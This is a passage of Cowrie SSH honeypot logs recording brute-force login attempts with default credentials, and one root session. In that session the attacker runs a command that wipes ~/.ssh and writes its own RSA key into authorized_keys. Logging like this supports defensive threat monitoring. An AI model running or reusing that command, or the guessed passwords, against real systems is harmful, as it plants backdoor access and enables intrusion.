sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:10:15.945466Z","src_ip":"195.178.110.218","session":"63e0f11e4b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:10:16.209648Z","src_ip":"195.178.110.218","session":"63e0f11e4b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:10:17.292722Z","src_ip":"195.178.110.218","session":"63e0f11e4b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50476,"dst_ip":"10.17.0.5","dst_port":22,"session":"748069479aca","protocol":"ssh","message":"New connection: 92.118.39.92:50476 (10.17.0.5:22) [session: 748069479aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:16.912966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:16.917337Z","src_ip":"92.118.39.92","session":"748069479aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:17.022614Z","src_ip":"92.118.39.92","session":"748069479aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:17.378386Z","src_ip":"92.118.39.92","session":"748069479aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:18.485105Z","src_ip":"92.118.39.92","session":"748069479aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50904,"dst_ip":"10.17.0.5","dst_port":22,"session":"854fb23a8c97","protocol":"ssh","message":"New connection: 2.57.122.208:50904 (10.17.0.5:22) [session: 854fb23a8c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:43.878592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:43.908283Z","src_ip":"2.57.122.208","session":"854fb23a8c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:44.157171Z","src_ip":"2.57.122.208","session":"854fb23a8c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:44.637425Z","src_ip":"2.57.122.208","session":"854fb23a8c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:11:45.745266Z","src_ip":"2.57.122.208","session":"854fb23a8c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba017958f14e","protocol":"ssh","message":"New connection: 195.178.110.218:47176 (159.203.135.109:22) [session: ba017958f14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:12:55.496585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:12:55.500519Z","src_ip":"195.178.110.218","session":"ba017958f14e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:12:55.579747Z","src_ip":"195.178.110.218","session":"ba017958f14e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:12:55.819341Z","src_ip":"195.178.110.218","session":"ba017958f14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:12:56.901726Z","src_ip":"195.178.110.218","session":"ba017958f14e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38920,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdfcb974e3ce","protocol":"ssh","message":"New connection: 92.118.39.92:38920 (10.17.0.5:22) [session: fdfcb974e3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:31.198776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:31.203459Z","src_ip":"92.118.39.92","session":"fdfcb974e3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:31.307914Z","src_ip":"92.118.39.92","session":"fdfcb974e3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:31.702417Z","src_ip":"92.118.39.92","session":"fdfcb974e3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:32.809517Z","src_ip":"92.118.39.92","session":"fdfcb974e3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.244.131.38","src_port":50126,"dst_ip":"159.203.135.109","dst_port":22,"session":"762e3bae8314","protocol":"ssh","message":"New connection: 143.244.131.38:50126 (159.203.135.109:22) [session: 762e3bae8314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:35.150237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:35.155799Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:35.370353Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ky123456","message":"login attempt [root/ky123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:36.265609Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:36.727213Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:36.730336Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:36.733949Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:36.951494Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.418183Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.421951Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.640828Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.644598Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.244.131.38","src_port":50130,"dst_ip":"159.203.135.109","dst_port":22,"session":"696dc22760e3","protocol":"ssh","message":"New connection: 143.244.131.38:50130 (159.203.135.109:22) [session: 696dc22760e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.837219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:37.841915Z","src_ip":"143.244.131.38","session":"696dc22760e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:38.048640Z","src_ip":"143.244.131.38","session":"696dc22760e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:38.901213Z","src_ip":"143.244.131.38","session":"696dc22760e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:40.109142Z","src_ip":"143.244.131.38","session":"696dc22760e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.244.131.38","src_port":50140,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1329a6199bd","protocol":"ssh","message":"New connection: 143.244.131.38:50140 (159.203.135.109:22) [session: d1329a6199bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:40.329580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:40.427936Z","src_ip":"143.244.131.38","session":"d1329a6199bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:40.642792Z","src_ip":"143.244.131.38","session":"d1329a6199bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:41.497160Z","src_ip":"143.244.131.38","session":"d1329a6199bd","protocol":"ssh"}
